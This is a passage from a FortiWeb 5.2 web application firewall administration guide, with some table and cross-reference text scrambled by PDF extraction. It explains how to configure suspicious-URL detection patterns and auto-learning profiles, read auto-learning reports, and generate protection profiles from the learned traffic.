DoS/DDoS sensors ( “DoS prevention” on page 356 )
• access control lists (
“Access control” on page 339 )
Web applications’ administrative URLs often should not be accessible by clients on the
Internet, and therefore any request for those URLs from source IP addresses on the Internet may represent an attempt to scout your web servers in advance of an attack. (Exceptions include hosting providers, whose clients may span the globe and often configure their own web applications.) Administrative requests from the Internet are therefore suspicious: the host may have been compromised by a rootkit, or its administrative login credentials may have been stolen via spyware, phishing, or social engineering.
FortiWeb appliances can compare each request URL with regular expressions that define known administrative URLs, and log and/or block these requests.
Regular expressions for suspicious requests by URL are categorized as:
•
Predefined
— Regular expressions included with the firmware. These match common administrative URLs, and URLs for back-end data such as caches. Cannot be modified except via FortiGuard updates, but can be copied and used as the basis for a custom definitions of sensitive URLs.
•
Custom
— A regular expression that you have configured to detect any suspicious access attempts by URL that cannot be recognized by the predefined set. Can be modified.
Both types can be grouped into a set that can be used in auto-learning profiles.
See also
•
How often does Fortinet provide FortiGuard updates for FortiWeb?
Predefined suspicious request URLs
Predefined regular expressions can be used by auto-learning to detect requests that are suspicious because they are for a URL that provides administrative access to the web server, servlet, or web application, such as:
/admin.php
/conf/Catalina/localhost/admin.xml or access to its back-end cache, data files, or Berkeley databases, such as:
/local/notesdata
Normally, requests for these URLs should only originate from a trusted network such as your management computers, not from the Internet. (Exceptions include hosting providers, whose clients around the globe configure their own web applications.) Therefore these requests are a good candidate for URL access control rules.
Many signatures exist for popular web servers and applications such as Apache, nginx IIS,
Tomcat, and Subversion. Known suspicious request URLs can be updated. See “Connecting to
FortiGuard services” on page 143 .
To access this part of the web UI, your administrator’s account access profile must have Read and Write permission to items in the Server Policy Configuration category. For details, see
181 FortiWeb 5.2 Patch 2 Administration Guide
Table 31: Auto Learn > Predefined Pattern > URL Pattern (image cropped)
Fortinet
Setting name Description
Name
The name of the predefined suspicious URL pattern set.
To display the patterns it contains, click the blue arrow next to the name.
Pattern
When you click a blue arrow to expand a suspicious URL pattern, this column displays the regular expression used to detect the presence of the suspicious
URL in a client’s request.
Description
When you click a blue arrow to expand a data type, this column displays a description of the URLs matched by this pattern, such as Apache web server administrative web UI files or IBM Lotus Domino data.
See also
•
Grouping all suspicious request URLs
•
Recognizing suspicious requests
•
How often does Fortinet provide FortiGuard updates for FortiWeb?
Configuring custom suspicious request URLs
To augment FortiWeb’s predefined list of suspicious request URLs, you can configure your own.
To create a custom suspicious request URL pattern
1. Go to Auto Learn > Custom Pattern > Suspicious URL Rule.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Server Policy Configuration category. For details,
.
182 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
2. Click Create New.
A dialog appears.
3. In Name, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. In URL Expression, enter a regular expression that defines this suspicious URL, such as
^/my_admin_panel.jsp
.
To test the regular expression against sample text, click the >> (test) icon. This opens the
Regular Expression Validator window where you can fine-tune the expression (see
“Regular expression syntax” on page 704
and “Cookbook regular expressions” on page 711
).
5. Click OK.
6. Group custom suspicious URL patterns (see
“Grouping custom suspicious request URLs” on page 183
).
7. Group custom and predefined suspicious URL groups together (see
“Grouping all suspicious request URLs” on page 184 ).
8. Select the supergroup when configuring an auto-learning profile (see
“Configuring an auto-learning profile” on page 186
).
See also
•
Grouping custom suspicious request URLs
•
Recognizing suspicious requests
Grouping custom suspicious request URLs
Before you can use them, you must first group custom and predefined suspicious URLs.
To configure a custom suspicious URL policy
1. Before you can create a custom suspicious URL rule, you must first define one or more custom suspicious URLs (see
“Configuring custom suspicious request URLs” on page 182 ).
2. Go to Auto Learn > Custom Pattern > Suspicious URL Policy.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Server Policy Configuration category. For details,
.
183 FortiWeb 5.2 Patch 2 Administration Guide
3. Click Create New.
A dialog appears.
4. In Name, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
5. Click OK.
6. Click Create New to add an entry to the set.
A dialog appears.
Fortinet
7. From Suspicious URL Name, select the name of a custom suspicious URL rule.
8. Click OK.
9. Repeat the previous steps for each custom suspicious URL rule you want added to the policy.
10.Group custom and predefined suspicious URL groups together (see
“Grouping all suspicious request URLs” on page 184 ).
11.Select the supergroup when configuring an auto-learning profile (see
“Configuring an auto-learning profile” on page 186
).
See also
•
Configuring custom suspicious request URLs
•
Grouping all suspicious request URLs
•
Recognizing suspicious requests
Grouping all suspicious request URLs
Auto Learn > Predefined Pattern > Suspicious URL groups both custom and predefined suspicious URLs together so that they can be selected in an auto-learning profile.
To configure a suspicious URL pattern group
1. Before grouping all suspicious URL patterns, you must first group any custom suspicious
URL groups that you want to include. For details, see
“Grouping custom suspicious request
2. Go to Auto Learn > Predefined Pattern > Suspicious URL.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Server Policy Configuration category. For details,
.
184 FortiWeb 5.2 Patch 2 Administration Guide
3. Click Create New.
Alternatively, to clone an existing pattern as the basis for a new group, mark the check box next to it, then click the Clone icon.
A dialog appears.
Fortinet
4. In Name, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
185 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
5. In Server Type, enable one or more of the predefined, web server-specific suspicious URL sets that you want to detect.
To view detailed descriptions of the types of patterns that each suspicious URL type will
detect, see “Predefined suspicious request URLs” on page 181
.
If you know that your network’ does not rely on one or more of the listed web server types, disable scans for suspicious access to their administrative URLs in order to improve performance.
6. From the Custom Suspicious Policy drop-down list, select a group of custom suspicious
URLs, that you have configured, if any.
7. Click OK.
8. To use a suspicious URL pattern, select it when configuring an auto-learning profile (see
“Configuring an auto-learning profile” on page 186
).
See also
•
Predefined suspicious request URLs
•
Grouping custom suspicious request URLs
•
Configuring an auto-learning profile
•
Recognizing suspicious requests
Configuring an auto-learning profile
Auto-learning profiles are selected in a server policy in conjunction with an inline or offline protection profile. Auto-learning profiles gather data for the auto-learning report from any attacks and parameters that are detected.
The predefined auto-learning profile, named Default Auto Learn Profile, cannot be edited or deleted. If you do not want to configure your own auto-learning profile, or are not sure how to, you can use this profile. Alternatively, you can use it as a starting point: clone it, modify the clone, then select the clone in a server policy.
Default Auto Learn Profile assumes that you want to learn about all parameters, and allow web crawlers from the search engines Google, Yahoo!, Baidu, and MSN/Bing.
Default Auto Learn Profile uses a predefined data type group, a predefined suspicious URL pattern, and other settings which are required to guarantee a complete data set for an auto-learning report. The default profile also does not use attack signatures that could cause false positives.
To configure an auto-learning profile
If you have already gathered some auto-learning data and want to refine it more quickly, you can generate a new auto-learning profile from auto-learning reports, then continue with an
186 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
1. Before creating an auto-learning profile, you must configure its components:
•
a data type group (see “Grouping predefined data types” on page 180 )
• suspicious request URLs (see
“Grouping all suspicious request URLs” on page 184 )
• if required, URL interpreters (see
“Grouping URL interpreters” on page 174
)
2. Go to Auto Learn > Auto Learn Profile > Auto Learn Profile.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Autolearn Configuration category. For details, see
3. Click Create New.
A dialog appears.
4. Configure these settings:
Setting name
Name
Description
Type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Select the name of a data type group to use, if any.
Data Type
Group
Auto-learning will learn about the names, length, and required presence of these types of parameters in HTTP requests. For details, see
“Grouping predefined data types” on page 180 .
Suspicious URL Select the name of a suspicious URL pattern to use, if any.
Auto-learning will consider HTTP requests for these URLs as either malicious vulnerability scanning, data harvesting (a type of web
.
187 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Server
Protection
Threshold
Description
Enter a percentage of detected attacks, relative to total hits, that will be interpreted as a false positive for the entire web host.
When you use auto-learning to generate a protection profile (see
“Blocking known attacks & data leaks” on page 405
), attack signatures meeting or exceeding this overall threshold will be disabled.
For example, if all normal HTTP requests, for whatever reason, sometimes match an attack signature, and therefore do not represent a genuine attack attempt, you could adjust this threshold to reflect the percentage of normal requests that match the attack signature for the overall protected web host. If an average of 99% of requests to the web host match the attack signature, but are actually harmless, you could adjust this setting to 99. If requests to this web site meet the threshold, scanning for this attack signature would be disabled for the entire web site.
Note:
This percentage does not have to be greater than
Protection Exception Threshold
.
Enter a percentage of detected attacks, relative to total hits, that will be interpreted as a false positive for specific URLs.
Server
Protection
Exception
Threshold
When you use auto-learning to generate a protection profile, attack signatures that meet or exceed this threshold on specific URLs will be disabled.
For example, if normal HTTP requests to some URLS, for whatever reason, match an attack signature, and therefore do not represent a genuine attack attempt, you could adjust this threshold to reflect the percentage of normal requests that match the attack signature for those specific URLs. If an average of 50% of the requests to some URLs match an attack signature, but are actually harmless, you could adjust this setting to 50. Other URLs on the web host, where the signature is not disabled, would still be subject to scanning by the attack signature.
Note:
This percentage does not have to be less than
.
Select a URL interpreter set to use, if any.
Application
Policy
If the web application embeds parameters in the URL or uses non-standard parameter separators, include an auto-learning adaptor to define how auto-learning should find parameters in the URL. For details, see
“How to adapt auto-learning to dynamic URLs & unusual parameters” on page 160 .
5. Click OK.
6. In a server policy, select the auto-learning profile with its protection profile in
(see “Configuring a server policy” on page 509 ). If you do
not want to change all Action settings to Alert in each of the protection profile’s components, also enable
.
Auto-learning is resource-intensive, and can decrease performance. If performance becomes unacceptable, consider selecting the auto-learning profile in only a few policies at a time.
Alternatively or in addition, briefly run a first phase of auto-learning, then disable features which are obviously unnecessary according to auto-learning data, and begin a second, more lightweight phase of auto-learning.
188 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
7. To ensure that the appliance can learn about HTTP/HTTPS requests’ usual page order and other session-related attacks and features, enable the
protection profile.
8. Continue with
“Running auto-learning” on page 189
.
See also
•
How operation mode affects server policy behavior
•
Running auto-learning
Once you have configured and applied auto-learning profiles, you can use them to collect data that will be used to make an auto-learning report, and to suggest a configuration.
To form configuration suggestions using auto-learning
1. Enable the server policy where you have selected the auto-learning policy in
2. Route traffic to or through the FortiWeb appliance, depending on your operation mode.
For best results, traffic should be realistic. Do not use incomplete or unrealistic traffic.
To minimize performance impacts, consider running an initial phase of auto-learning while your FortiWeb is operating in offline protection mode, before transitioning to your final choice of operation mode.
3. Wait for the FortiWeb appliance to gather data.
To quickly reduce risk of attack while auto-learning is in progress, in the protection profile and its components, for attacks and disclosures that you are sure cannot be false positives, set the Action to Alert & Deny or Alert & Erase.
Time required varies by the rate of legitimate hits for each URL, the parameters that are included with each hit, and the percentage of hits that are attack attempts detected by attack signatures. You can gauge traffic volumes and hits using the Policy Summary widget
(see “Real Time Monitor widget” on page 567
).
For faster results, from an external IP, connect to the web site and access all URLs that a legitimate client would. Provide valid parameters. This will populate auto-learning data with an initial, realistic set.
To improve performance during auto-learning, you can run it in a few phases.
After an initial short phase of auto-learning, generate a protection profile with the most obvious attack settings. Then delete the auto-learning data, revise the protection profile to omit auto-learning for the settings that you have already discovered, and start the next phase of auto-learning.
Alternatively or additionally, you can run auto-learning on only a few policies at a time.
You can pause auto-learning’s data gathering if necessary (see
).
189 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
4. Gauge progress by periodically reviewing the auto-learning report, which is kept up-to-date during auto-learning (see
“Viewing auto-learning reports” on page 191
and
done.
Auto-learning consider URLs up to approximately 128 characters long (assuming single-byte character encoding, after FortiWeb has decoded any nested hexadecimal or other URL encoding — therefore, the limit is somewhat dynamic). If the URL is greater than that buffer size, auto-learning will not be able to learn it, and therefore will ignore it. No event log will be created.
In those cases, you must manually configure FortiWeb protection settings for the URL, rather than discovering recommended protection settings via auto-learning. However, you may be able to re-use the settings recommended for other, shorter URLs by auto-learning.
For example, if auto-learning discovers an email address parameter, it probably should have the same input constraints regardless of which URL uses it.
5. If there is an unusual number of attacks, or there are false positives, or if some auto-learning data is incorrect, you can either:
• fine-tune the auto-learning profile, delete the old-auto-learning data, then return to the
previous step (see “Removing old auto-learning data” on page 209
)
• fine-tune the parameters in the auto-learning report before generating protection profiles
(see
,
and “Parameters tab” on page 203
)
• after the next step, adjust settings in the generated protection profiles
6. Continue with
“Generating a profile from auto-learning data” on page 205
.
Pausing auto-learning for a URL
Dynamic URLs that you have not configured to be interpreted by a URL replacer will cause:
• reduced performance
• a tree that contains many URLs that are actually forms of the same URL
• auto-learning data that is split among each observed permutation of the dynamic URL
To solve these problems, stop auto-learning for those URLs (right-click them in the auto-learning report and select
Stop Learning
), then configure a URL replacer. For details, see
“How to adapt auto-learning to dynamic URLs & unusual parameters” on page 160 .
If you decide later that the URLs were not, in fact, dynamic, you can resume auto-learning: right-click the URL in the auto-learning report, then select Start Learning. Otherwise, for dynamic URLs, you can delete split auto-learning data (see
“Removing old auto-learning data” on page 209 ).
See also
•
•
How to adapt auto-learning to dynamic URLs & unusual parameters
•
Removing old auto-learning data
190 FortiWeb 5.2 Patch 2 Administration Guide
Viewing auto-learning reports
Auto Learn > Auto Learn Report > Auto Learn Report displays the list of reports that the
FortiWeb appliance has automatically generated from information gathered by auto-learning profiles.
Primarily, auto-learning reports are used to determine whether or not the auto-learning feature has collected sufficient data to end the auto-learning phase of your installation, and transition to purely applying your security policies (see
“Generating a profile from auto-learning data” on page 205 ).
Sometimes, such as when changing your web servers’ installed web applications, you may want to run additional phases of auto-learning.
To create a fresh auto-learning report, and/or new protection profiles, you can reset the auto-learning report and delete its data to use only the most current data. For details, see
“Removing old auto-learning data” on page 209
.
Reports from auto-learning profile data can also inform you about your web servers’ traffic.
Whitelisted items will not be included in auto-learning reports. See
“Configuring the global object white list” on page 488 .
Alternatively, for information on normal network traffic, you can use the data analytics feature.
See
“Viewing web site statistics” on page 632
.
To view a report generated from auto-learning data
To view auto-learning reports, the Adobe Flash Player browser plug-in is required.
Fortinet
1. Go to Auto Learn > Auto Learn Report > Auto Learn Report.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Autolearn Configuration category. For details, see
2. Mark the check box for the report you want to see.
3. Click View.
The report appears, with two panes:
• The left-hand pane enables you to navigate through the web sites and URLs that are the subjects of the report.
• The right-hand pane includes tabs that display the report data.
If a report contains multiple pages of results, click the arrows at the bottom of the page to move forward or backwards through the pages of results.
191 FortiWeb 5.2 Patch 2 Administration Guide
Figure 25:Parts of auto-learning reports
Navigation pane
Display pane
Fortinet
See also
•
Removing old auto-learning data
•
Using the report navigation pane
•
•
Configuring an auto-learning profile
•
Generating a profile from auto-learning data
Using the report navigation pane
To view report data, click the expand icon ( + ) next to items in the navigation tree and click items to see applicable information. Different tree levels provide different report data.
Figure 26:Parts of the report navigation pane
Button to close the pane
Server policy name
Host:
in HTTP header
Requested URL (as interpreted by auto-learning, if any URL interpreter is configured)
Common part of URL
If URL rewriting is configured, the tree’s URL is the one requested by the client, not the one to which it was rewritten before passing on.
192 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
If the tree contains many URLs that are actually forms of the same URL, or includes sessions
IDs, such as:
/app/login.asp;jsessionid=xxx;p1=111;p2=123?p3=5555&p4=66aaaaa the web application may use dynamic URLs or unusual parameter separators, and require a
URL interpreter for auto-learning to function normally. For details, see
“How to adapt auto-learning to dynamic URLs & unusual parameters” on page 160
You can change the display and content of data using the context menu. To do so, right-click the name of an item in the navigation tree, then select a pop-up menu option:
Setting name
Refresh the Tree
Filter the Tree
Expand Current Node
Stop Learning
Clean Data
Description
Select to update the display in the navigation pane. If hosts or URLs have been discovered since you last loaded the auto-learning report web page, this will update the tree to reflect those new discoveries.
Select to show or hide HTTP sessions in the report by their
HTTP request method and/or other attributes. A pop-up dialog appears. See Figure 27 .
Select to expand the item and all of its subitems.
This option has no effect when right-clicking the name of the auto-learning profile.
Select this option if you have determined that the item is a
dynamic URL. For details, see “Pausing auto-learning for a
.
If you have erroneously categorized the URL as dynamic, to resume learning, right-click the URL again and select
Start Learning.
Select to remove auto-learning’s statistical data for this item. This may be useful if either:
• You want to clear the data set to begin fresh for a new phase of auto-learning.
• You know that the inputs required by a specific URL have changed since you initially began learning about a web site’s parameters. This could happen when you upgrade a web application.
• The item was an instance of a dynamic URL, and you did not apply a matching URL interpreter, and therefore the data was corrupted.
See “Removing old auto-learning data” on page 209
.
If you select
Filter the Tree
, a dialog appears.
193 FortiWeb 5.2 Patch 2 Administration Guide
Figure 27:Filtering an auto-learning report
Fortinet
Depending on its level in the navigation tree, an item may be either a server policy observing multiple hosts, a single host, a common part of a path contained in multiple URLs, or a single requested file. Depending on the part of the navigation tree that you select, the auto-learning report displays:
• statistics specific to each requested URL
• totals for a group of URLs with a common path
• totals for all requested URLs on the host
• totals for all requests on all hosts observed by the auto-learning profile
To show only specific nodes in the URL tree and hide the rest (that is, “filter”), select which attributes that a node or its subnode must satisfy in order to be included in the report’s statistics.
For example, to include only statistics for parts of the URL tree pertaining to HTTP POST requests to Java server pages (JSP files), you would enter .jsp in the Search field under URL and enable POST under HTTP Method, disabling in order to filter out all other HTTP methods.
If auto-learning is using a URL interpreter to understand the structure of your application’s
URLs, search for the interpreted URL as it appears in the report’s navigation tree, not the real
URL as it appears in the HTTP request.
See also
•
Removing old auto-learning data
•
194 FortiWeb 5.2 Patch 2 Administration Guide
Using the report display pane
Tabs, statistics and charts appear on the report display (right-hand) pane. Their appearance varies depending on which level you selected in the navigation tree.
The report display pane contains several feature buttons above the report.
Table 32: Buttons at the top of the auto-learning report’s display pane
Fortinet
Setting name Description
Refresh
Click to update the report display to reflect statistics, if any, that have been gathered since you loaded the auto-learning report web page.
Generate
Config
Click to generate a web protection profile from the auto-learning profile. For instructions, see
“Generating a profile from auto-learning data” on page 205 .
Generate PDF
Click to download a PDF copy of the report. A pop-up dialog appears.
Type a file name for the PDF, then click OK.
Overview tab
The Overview tab provides a statistical summary for all sessions established with the host during the use of the auto-learning profile, or since its auto-learning data was last cleared, whichever is shorter. The contents and buttons of the Overview tab change depending on the level in the navigation tree.
195 FortiWeb 5.2 Patch 2 Administration Guide
Table 33: Auto-learning report Overview tab
Fortinet
Setting name Description
Edit Protected
Servers
Click to open a dialog where you can select or deselect IP addresses and/or domain names that will be members of the protected host names group for the generated profile.
This button appears only when you select the policy in the navigation pane.
Edit URL Page Click to open a dialog where you can specify that the currently selected URL will be allowed, and whether it will be regarded as a start page for the generated profile. You can also select which action to take if there is a rule violation:
• Alert & Deny — Block the request (reset the connection) and generate an alert email and/or log message.
You can customize the web page that will be returned to the client with the
HTTP status code. See “Uploading a custom error page” on page 491
or
.
• Continue — Continue by evaluating any subsequent rules defined in the
web protection profile (see “Sequence of scans” on page 21 ). If no other
rules are violated, allow the request. If multiple rules are violated, a single request will generate multiple attack log messages and/or alert email.
• Pass — Allow the request. Do not generate an alert email and/or log message.
This button appears only when you select a URL in the navigation pane.
196 FortiWeb 5.2 Patch 2 Administration Guide
Setting name Description
Hits Count
Click the link to go to the Visits tab
.
This row appears in the Item column of the Overview table.
Attack Count
Click the link to go to the Attacks tab
.
This row appears in the Item column of the Overview table.
Attacks tab
The Attacks tab provides statistics in both tabular and graphical format on HTTP sessions that contained one of the types of attacks that the web protection profile was configured to detect.
Sometimes, auto-learning reports may contain fewer attacks than you see in the FortiWeb appliance’s attack logs. For details, see
“About the attack count” on page 200 .
Fortinet 197 FortiWeb 5.2 Patch 2 Administration Guide
Figure 28:Auto-learning report Attacks tab
Fortinet
Depending on the level of the item selected in the navigation pane, the Action and Enable columns may appear. Using these settings, you can override the FortiWeb’s statistically suggested attack protection settings.
To display a pop-up list of an attack type’s protection profile settings estimated from current auto-learning data, click the Detail icon. The dialog that appears may vary by the attack type.
You can use it to manually override the estimated settings.
To override configuration suggested by auto-learning for a specific attack type
1. From the drop-down list in the Type column, select either:
• Recommended — Do not override the suggestion. FortiWeb automatically estimates whether enabling or disabling scans for each attack signature is appropriate, based upon auto-learning data. When you generate a protection profile, FortiWeb will use whichever setting is indicated by the current auto-learning data.
• Custom — Override the suggestion. When you generate a protection profile, FortiWeb will use the setting indicated by you, not the current auto-learning data.
198 FortiWeb 5.2 Patch 2 Administration Guide
2. If you selected Custom from Type, from each drop-down list in the Custom column, select one of these options:
• On — Manually override the suggestion. In step
, select which attack prevention signatures to enable. (Non-selected signatures will be disabled.)
• Off — Manually override the suggestion, and disable all attack prevention signatures for this type.
If the URL is not susceptible to a specific type of attack, select Off to improve performance.
Figure 29:Auto-learning report Attacks tab — Manually enabling attack signatures
Fortinet
3. In the row for each attack type where you have set the drop-down list to Custom, click the
Detail icon.
A dialog appears which lists the individual attack signatures for that attack category.
4. For each signature that you want to manually enable, mark its Status check box.
You must mark the Status check box of every signature that you want to enable. Failure to select any signatures will effectively disable attack prevention, even though you have selected
On from the Enable drop-down lists for the attack category.
5. Click OK.
199 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
6. From each drop-down list in the Action column, select one of the following options:
• Alert — Accept the request and generate an alert email and/or log message.
• Alert & Deny — Block the request (or reset the connection) and generate an alert email and/or log message.
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
.
• Send 403 Forbidden — Reply to the client with an HTTP 403 Forbidden error message and generate an alert and/or log message.
• Redirect — Redirect the request to the URL that you specify in the protection profile and
generate an alert email and/or log message. Also configure
and
.
• Period Block — Block subsequent requests from the client for a number of seconds. Also configure
“Monitoring currently blocked IPs” on page 639 .
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
.
If FortiWeb is deployed behind a NAT load balancer, when using Period Block, you must also define an X-header that indicates the original client’s IP (see
“Defining your proxies, clients, &
). Failure to do so may cause FortiWeb to block all connections when it detects a violation of this type.
About the attack count
Sometimes, auto-learning reports may contain fewer attacks than you see in the FortiWeb appliance’s attack logs. Possible causes include:
• The attack was attempted, but was targeted towards a URL that did not actually exist on the server (that is, it resulted in an HTTP 404 File Not Found reply code). Because the URL did not exist, the auto-learning report does not include it in its tree of requested URLs. In other words, the attack was not counted in the report because it did not result in an actual page hit.
• The attack was attempted, and the URL existed, but the FortiWeb appliance was configured to block the attack (Alert & Deny), resulting in an unsuccessful request attempt.
Unsuccessful requests do not result in an actual page hit and have incomplete session data, and therefore are not included in auto-learning reports.
To ensure that auto-learning reports have complete session data, you should log but not block or sanitize attack attempts while gathering auto-learning data (that is, either enable
or select Alert as the Action for all attacks).
Visits tab
The Visits tab provides statistics in both tabular and graphical format on the HTTP request methods used. The content of the tab and its display styles vary with the level of the item selected in the navigation pane: some statistics are displayed as a pie chart, others a bar chart, and others as both. When you select a policy in the navigation pane, this tab includes a set of bar charts that give statistics about the most used and least used URLs, plus suspicious URLs.
When you select a host in the navigation pane, the report includes a set of tables that give statistics on HTTP return codes in the 400 and 500 series.
The Visits tab includes several buttons that you can use to manually fine-tune the profile that auto-learning will generate from its statistics. (Look for the buttons at the top, midpoint, and bottom of the page, just above each chart.)
200 FortiWeb 5.2 Patch 2 Administration Guide
Table 34: Auto-learning report Visits tab (image truncated)
Fortinet 201 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name Description
Edit Allow
Method
Click this button to open a dialog where you can select which HTTP request methods to allow in the generated profile. Then in the Status drop-down list, select either:
• On — Manually override the suggestion, and enable the method.
• Off — Manually override the suggestion, and disable the method.
• Default — Do not override the suggestion. FortiWeb automatically estimates whether enabling or disabling the HTTP method is appropriate, based upon auto-learning data. When you generate a protection profile,
FortiWeb will use whichever setting is indicated by the current auto-learning data.
This button appears only when you select a policy in the navigation pane.
Edit Exception
Method
Click this button to open a dialog where you can select which HTTP request methods are exceptions to the ones allowed by the generated profile. Then in the Status drop-down list, select either:
• On — Manually override the suggestion, and enable the method.
• Off — Manually override the suggestion, and disable the method.
• Default — Do not override the suggestion. FortiWeb automatically estimates whether enabling or disabling the HTTP method is appropriate, based upon auto-learning data. When you generate a protection profile,
FortiWeb will use whichever setting is indicated by the current auto-learning data.
This button appears only when you select an individual URL in the navigation pane.
Edit URL
Access
(In the Most hit
URL table and
chart section)
Click this button to open a dialog where you can select which pages will be included in a URL access rule whose Action is Pass (i.e. allow the request and do not generate an attack log message). To include the URL, click and drag it from the column named Available on the right into the column on the left, named URL Access rules with action 'Pass'.
Essentially, auto-learning’s assumption in this case is that most page hits are legitimate, so that URLs that are frequently hit should be normally accessible.
This button appears only when you select the policy in the navigation pane.
Edit Start Page Click this button to open a dialog where you can select which pages will be included in a URL access rule whose Action is Pass (i.e. allow the request and do not generate an attack log message). To include the URL, click and drag it from the column named Available on the right into the column on the left, named URL Access rules with action 'Pass'.
This button appears only when you select the policy in the navigation pane.
202 FortiWeb 5.2 Patch 2 Administration Guide
Setting name Description
Edit URL
Access
(In the Least hit
URL table and
chart section)
Click this button to open a dialog where you can select which pages will be included in a URL access rule whose Action is Alert & Deny (i.e. block the request and generate an alert email and/or attack log message). To include the URL, click and drag it from the column named Available on the right into the column on the left, named URL Access rules with action 'Alert & Deny'.
Essentially, auto-learning’s assumption in this case is that most page hits are legitimate, so that URLs that are not frequently hit possibly could be a back door or other hidden URL, and therefore should not be accessible.
This button appears only when you select the policy in the navigation pane.
Edit URL
Access
(In the
Suspicious URL table and chart
section)
Click this button to open a dialog where you can select which pages will be included in a URL access rule whose Action is Alert & Deny (i.e. block the request and generate an alert email and/or attack log message). To include the URL, click and drag it from the column named Available on the right into the column on the left, named URL Access rules with action 'Alert & Deny'.
Essentially, auto-learning’s assumption in this case is that administrative
URLs should not be accessible to the general public on the Internet, so that requests for these URLs could be a potential attack or scouting attempt, and should be blocked.
This button appears only when you select the policy in the navigation pane.
Parameters tab
The Parameters tab provides tabular statistics on the parameters and their values as they appeared in HTTP requests, as well as any parameters that were extracted from within the URL by a URL interpreter.
Figure 30:Auto-learning report Parameter tab
Fortinet
This tab appears only for items that are leaf nodes in the navigation tree; that is, they represent a single complete URL as it appeared in a real HTTP request, and therefore could have had those exact associated parameters.
203 FortiWeb 5.2 Patch 2 Administration Guide
The Name column contains the name of the parameter, exactly as it was observed in the parameter or (for parameters extracted by URL replacers) within the URL.
If the Name column contains part of a URL or the parameter’s value instead of its name, verify the regular expression and back references used in your URL replacer.
Percentages in the Type Match and Required columns indicate how likely the parameter with that name is of that exact data type, and whether or not the web application requires that input for that URL. The Min. Length and Max. Length columns indicate the likely valid range of length for that input’s value. The Avg. Length column indicates the average length for that input’s value. Together, the columns provide information on what is likely the correct configuration of a profile for that URL.
For example, if Max. Length is 255 but Min. Length is 63 and Avg. Length is 64, before generating a protection profile, you may want to investigate to determine whether 255 is indeed an appropriate maximum input length, since it deviates so much from the norm. In this case, the intended minimum and maximum length might really be 63, but a single malicious observed input had a maximum length of 255.
By default, when you generate a protection profile from auto-learning data, FortiWeb will use these statistics to estimate appropriate input rules. However, if auto-learning suggestions are not appropriate, you can manually override these estimates by using the
Cookies tab
The Cookies tab provides tabular statistics on the name, value, expiry date, and associated URL
(path) of each cookie crumb that appeared in HTTP requests.
Cookies that you see in this table can be protected by enabling
Figure 31:Auto-learning report Cookies tab
Fortinet
This tab appears only for hosts that use cookies, and for items that are leaf nodes in the navigation tree; that is, they represent a single complete URL as it appeared in a real HTTP request, and therefore could have had those exact cookies.
204 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
See also
•
Removing old auto-learning data
•
Using the report navigation pane
•
Configuring an auto-learning profile
•
Generating a profile from auto-learning data
Generating a profile from auto-learning data
When viewing a report generated from auto-learning data, you can generate an inline protection profile or an offline protection profile suitable for the HTTP sessions observed. If some observed sessions are not indicative of typical traffic and you do not want to include elements in the generated profile, or you want to select an action other than the default for a type of observed attack, you can selectively change the action for that type of attack.
In addition to the generated profile itself, the FortiWeb appliance also generates all rules and other auxiliary configurations that the profile depends upon.
For example, if the FortiWeb appliance observed HTTP PUT requests with required parameters of a password and a user name that is an email address, when generating a profile, it would also generate the parameter validation rules and input rules that the profile requires, using the data types and maximum lengths of the arguments observed in the HTTP sessions.
Generated profiles and auxiliary configurations are editable. You can adjust them or use them as the basis for additional configuration.
To configure a profile using auto-learning data
1. Go to Auto Learn > Auto Learn Report > Auto Learn Report.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Autolearn Configuration category. For details, see
2. Mark the check box in the row corresponding to the auto-learning profile whose data you want to view.
3. Click View.
The report appears.
4. Review the configuration suggestions from auto-learning.
If you want to adjust the behavior of the profile and components that you will generate, in the left-hand pane, click the expand icon ( + ) next to items to expand the tree, then click the name of the single URL whose protection you want to manually configure.
205 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Buttons and drop-down lists in the report display pane may vary. For most URLs, they enable you to adjust the profile that will be generated.
Auto-learning suggests an appropriate configuration based upon the traffic that it observed.
If auto-learning has not suggested appropriately, however, you can manually override each of auto-learning’s suggestions. Configure these settings:
Setting name Description
Overview tab
Edit
Protected
Servers
Click to open a pop-up dialog. Enable or disable the IP addresses and/or domain names that will be members of the generated protected host names group. For details,
see “Defining your protected/allowed HTTP “Host:” header names” on page 260
.
Edit URL
Page
This appears only if you have selected the name of the auto-learning profile in the navigation pane.
Click to open a pop-up dialog. Enable or disable whether the currently selected URL will be included in start pages and white/black IP list rules in the generated profile. This appears only if you have selected a URL in the navigation pane.
For more information on those rule types, see “Specifying
URLs allowed to initiate sessions” on page 438
and
.
Attacks tab
Action and
Enable
Select from the Enable drop-down list to enable or disable detection of each type of attack, and select from Action which action that the generated profile will take. The availability of these lists varies with the level of the item selected in the navigation pane.
For details, see the actions in “Configuring a protection profile for inline topologies” on page 492
Visits tab
Edit Allow
Method
Edit URL
Access
Click to open a pop-up dialog. Change the Status option to select which HTTP request methods to allow in the generated profile. This appears only if you have selected a profile in the navigation pane.
For details, see “Configuring a protection profile for inline topologies” on page 492
.
Click to open a pop-up dialog. This appears only if you have selected a profile in the navigation pane.
Edit Start
Page
For details, see “Access control” on page 339
.
